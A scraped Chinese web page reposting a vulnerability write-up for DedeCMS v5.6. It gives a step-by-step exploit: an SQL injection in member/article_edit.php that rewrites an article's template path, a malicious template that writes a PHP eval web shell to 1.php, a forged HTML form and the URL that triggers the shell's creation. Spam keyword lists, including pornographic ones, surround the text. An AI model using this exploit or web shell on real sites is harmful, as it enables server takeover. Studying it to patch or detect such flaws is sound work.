最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

DEDECMS網站管理系統(tǒng)模板執(zhí)行漏洞(影響版本v5.6)

  發(fā)布時間:2011-10-10 01:16:38   作者:佚名   我要評論
DedeCms 基于PHP+MySQL的技術開發(fā),支持Windows、Linux、Unix等多種服務器平臺,從2004年開始發(fā)布第一個版本開始,至今已經發(fā)布了五個大版本
影響版本:
DEDECMS v5.6 Final

程序介紹:
DedeCms 基于PHP+MySQL的技術開發(fā),支持Windows、Linux、Unix等多種服務器平臺,從2004年開始發(fā)布第一個版本開始,至今已經發(fā)布了五個大版本。DedeCms以簡單、健壯、靈活、開源幾大特點占領了國內CMS的大部份市場,目前已經有超過二十萬個站點正在使用DedeCms或居于DedeCms核心,是目前國內應用最廣泛的php類CMS系統(tǒng)。

漏洞分析:

Dedecms V5.6 Final版本中的各個文件存在一系列問題,經過精心構造的含有惡意代表的模板內容可以通過用戶后臺的上傳附件的功能上傳上去,然后通過SQL注入修改附加表的模板路徑為我們上傳的模板路徑,模板解析類:include/inc_archives_view.php沒有對模板路徑及名稱做任何限制,則可以成功執(zhí)行惡意代碼。

1、member/article_edit.php文件(注入):
//漏洞在member文件夾下普遍存在,$dede_addonfields是由用戶提交的,可以被偽造,偽造成功即可帶入sql語句,于是我們可以給附加表的內容進行update賦值。
PHP Code復制內容到剪貼板
  1. …      
  2. //分析處理附加表數(shù)據      
  3.     $inadd_f = '';      
  4.     if(!emptyempty($dede_addonfields))//自己構造$dede_addonfields      
  5.     {      
  6.         $addonfields = explode(';',$dede_addonfields);      
  7.         if(is_array($addonfields))      
  8.         {      
  9.             print_r($addonfields);      
  10.             foreach($addonfields as $v)      
  11.             {      
  12.                 if($v=='')      
  13.                 {      
  14.                     continue;      
  15.                 }      
  16.                 $vs = explode(',',$v);      
  17.                 if(!isset(${$vs[0]}))      
  18.                 {      
  19.                     ${$vs[0]} = '';      
  20.                 }      
  21.                 ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid);      
  22.                 $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' ";      
  23.                 echo $inadd_f;      
  24.             }      
  25.         }      
  26.     }      
  27. …      
  28. if($addtable!='')      
  29.     {      
  30.         $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";//執(zhí)行構造的sql      
  31.         if(!$dsql->ExecuteNoneQuery($upQuery))      
  32.         {      
  33.             ShowMsg("更新附加表 `$addtable`  時出錯,請聯(lián)系管理員!","javascript:;");      
  34.             exit();      
  35.         }      
  36.     }      
  37. …   
2、include/inc_archives_view.php:
//這是模板處理類,如果附加表的模板路徑存在,直接從附加表取值;GetTempletFile獲取模板文件的方法就是取的此處的模板路徑,從來帶進去解析。
PHP Code復制內容到剪貼板
  1. …      
  2. //issystem==-1 表示單表模型,單表模型不支持redirecturl這類參數(shù),因此限定內容普通模型才進行下面查詢      
  3.             if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1)      
  4.             {      
  5.                 if(is_array($this->addTableRow))      
  6.                 {      
  7.                     $this->Fields['redirecturl'] = $this->addTableRow['redirecturl'];      
  8.                     $this->Fields['templet'] = $this->addTableRow['templet'];//取值      
  9.                     $this->Fields['userip'] = $this->addTableRow['userip'];      
  10.                 }      
  11.                 $this->Fields['templet'] = (emptyempty($this->Fields['templet']) ? '' : trim($this->Fields['templet']));      
  12.                 $this->Fields['redirecturl'] = (emptyempty($this->Fields['redirecturl']) ? '' : trim($this->Fields['redirecturl']));      
  13.                 $this->Fields['userip'] = (emptyempty($this->Fields['userip']) ? '' : trim($this->Fields['userip']));      
  14.             }      
  15.             else      
  16.             {      
  17.                 $this->Fields['templet'] = $this->Fields['redirecturl'] = '';      
  18.             }      
  19. …      
  20.       
  21.     //獲得模板文件位置      
  22.     function GetTempletFile()      
  23.     {      
  24.         global $cfg_basedir,$cfg_templets_dir,$cfg_df_style;      
  25.         $cid = $this->ChannelUnit->ChannelInfos['nid'];      
  26.         if(!emptyempty($this->Fields['templet']))      
  27.         {      
  28.             $filetag = MfTemplet($this->Fields['templet']);      
  29.             if( !ereg('/'$filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag;      
  30.         }      
  31.         else      
  32.         {      
  33.             $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]);      
  34.         }      
  35.         $tid = $this->Fields['typeid'];      
  36.         $filetag = str_replace('{cid}'$cid,$filetag);      
  37.         $filetag = str_replace('{tid}'$tid,$filetag);      
  38.         $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;      
  39.         if($cid=='spec')      
  40.         {      
  41.             if( !emptyempty($this->Fields['templet']) )      
  42.             {      
  43.                 $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag;      
  44.             }      
  45.             else      
  46.             {      
  47.                 $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm";      
  48.             }      
  49.         }      
  50.         if(!file_exists($tmpfile))      
  51.         {      
  52.             $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/".($cid=='spec' ? 'article_spec.htm' : 'article_default.htm');      
  53.         }      
  54.         return $tmpfile;      
  55.     }    
漏洞利用:

1.上傳一個模板文件:

注冊一個用戶,進入用戶管理后臺,發(fā)表一篇文章,上傳一個圖片,然后在附件管理里,把圖片替換為我們精心構造的模板,比如圖片名稱是:
uploads/userup/2/12OMX04-15A.jpg

模板內容是(如果限制圖片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}

2.修改剛剛發(fā)表的文章,查看源文件,構造一個表單:
XML/HTML Code復制內容到剪貼板
  1. <form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">      
  2. <input type="hidden" name="dopost" value="save" />      
  3. <input type="hidden" name="aid" value="2" />      
  4. <input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />      
  5. <input type="hidden" name="channelid" value="1" />      
  6. <input type="hidden" name="oldlitpic" value="" />      
  7. <input type="hidden" name="sortrank" value="1275972263" />      
  8. <div id="mainCp">      
  9. <h3 class="meTitle"><strong>修改文章</strong></h3>      
  10. <div class="postForm">      
  11. <label>標題:</label>      
  12. <input  name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>      
  13. <label>標簽TAG:</label>      
  14. <input name="tags" type="text" id="tags"  value="hahah,test" maxlength="100" class="intxt"/>(用逗號分開)      
  15. <label>作者:</label>      
  16. <input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>      
  17. <label>隸屬欄目:</label>      
  18. <select name='typeid' size='1'>      
  19. <option value='1' class='option3' selected=''>測試欄目</option>      
  20. </select>            <span style="color:#F00">*</span>(不能選擇帶顏色的分類)      
  21. <label>我的分類:</label>      
  22. <select name='mtypesid' size='1'>      
  23. <option value='0' selected>請選擇分類...</option>      
  24. <option value='1' class='option3' selected>hahahha</option>      
  25. </select>      
  26. <label>信息摘要:</label>      
  27. <textarea name="description" id="description">1111111</textarea>      
  28. (內容的簡要說明)      
  29. <label>縮略圖:</label>      
  30. <input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);"  maxlength="100" class="intxt"/>      
  31. <input type='text' name='templet'      
  32. value="../ uploads/userup/2/12OMX04-15A.jpg">      
  33. <input type='text' name='dede_addonfields'      
  34. value="templet,htmltext;">(這里構造)      
  35. </div>      
  36. <!-- 表單操作區(qū)域 -->      
  37. <h3 class="meTitle">詳細內容</h3>      
  38. <div class="contentShow postForm">      
  39. <input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p><?phpinfo()?>1111111</p>style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>      
  40. <label>驗證碼:</label>      
  41. <input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />      
  42. <img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?點擊更換" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />      
  43. <button class="button2" type="submit">提交</button>      
  44. <button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>      
  45. </div>      
  46. </div>      
  47. </form>   
提交,提示修改成功,則我們已經成功修改模板路徑。

3.訪問修改的文章:

假設剛剛修改的文章的aid為2,則我們只需要訪問:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目錄下生成小馬:1.php

解決方案:
廠商補丁:
DEDECMS
------------
目前廠商還沒有提供補丁或者升級程序,我們建議使用此軟件的用戶隨時關注廠商的主頁以獲取最新版本:
http://www.dedecms.com/

信息來源: oldjun's Blog

相關文章

  • thinkphp代碼執(zhí)行getshell的漏洞解決

    本文來介紹一下thinkphp官方修復的一個getshell漏洞,框架對控制器沒有進行足夠的檢測導致的一處getshell,小編覺得挺不錯的,現(xiàn)在分享給大家,也給大家做個參考。一起跟隨
    2018-12-12
  • 記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊

    這篇文章主要介紹了記 FineUI 官方論壇discuz所遭受的一次真實網絡攻擊,需要的朋友可以參考下
    2018-11-30
  • Linux 下多種編程語言的反彈 shell 方法

    這篇文章主要介紹了Linux 下多種反彈 shell 方法,需要的朋友可以參考下
    2017-09-06
  • 前端安全之XSS攻擊

    這篇文章主要為大家介紹了基于反射的XSS攻擊,主要依靠站點服務端返回腳本,在客戶端觸發(fā)執(zhí)行從而發(fā)起Web攻擊,需要的朋友可以參考下
    2017-05-20
  • SQL注入黑客防線網站實例分析

    這篇文章主要介紹了SQL注入黑客防線網站實例分析,需要的朋友可以參考下
    2017-05-19
  • ASP+PHP 標準sql注入語句(完整版)

    這里為大家分享一下sql注入的一些語句,很多情況下由于程序員的安全意識薄弱或基本功不足就容易導致sql注入安全問題,建議大家多看一下網上的安全文章,最好的防范就是先學
    2017-05-19
  • 一句話木馬后門在防注入中的重生

    對于目前流行的sql注入,程序員在編寫程序時,都普遍的加入防注入程序,有些防注入程序只要在我們提交一些非法的參數(shù)后,就會自動的記錄下你的IP地址,提交的非法參數(shù)和動作等,
    2017-04-29
  • XSS繞過技術 XSS插入繞過一些方式總結

    我們友情進行XSS檢查,偶然跳出個小彈窗,其中我們總結了一些平時可能用到的XSS插入方式,方便我們以后進行快速檢查,也提供了一定的思路,其中XSS有反射、存儲、DOM這三類
    2016-12-27
  • Python 爬蟲使用動態(tài)切換ip防止封殺

    這篇文章主要介紹了Python 爬蟲使用動態(tài)切換ip防止封殺的相關資料,需要的朋友可以參考下
    2016-10-08
  • 使用爬蟲采集網站時,解決被封IP的幾種方法

    這篇文章主要介紹了使用爬蟲采集網站時,解決被封IP的幾種方法的相關資料,需要的朋友可以參考下
    2016-10-08

最新評論

屏山县| 镇雄县| 泗水县| 正宁县| 化州市| 铁力市| 分宜县| 揭西县| 北流市| 临武县| 桐乡市| 吉林市| 鞍山市| 新竹市| 吉木乃县| 中西区| 略阳县| 林周县| 咸宁市| 鄂伦春自治旗| 兖州市| 开鲁县| 班戈县| 新余市| 高台县| 德安县| 马龙县| 浦江县| 杭锦后旗| 崇明县| 自贡市| 高碑店市| 东明县| 邯郸县| 淮滨县| 麻栗坡县| 浦江县| 开封市| 宜宾县| 巴楚县| 石景山区|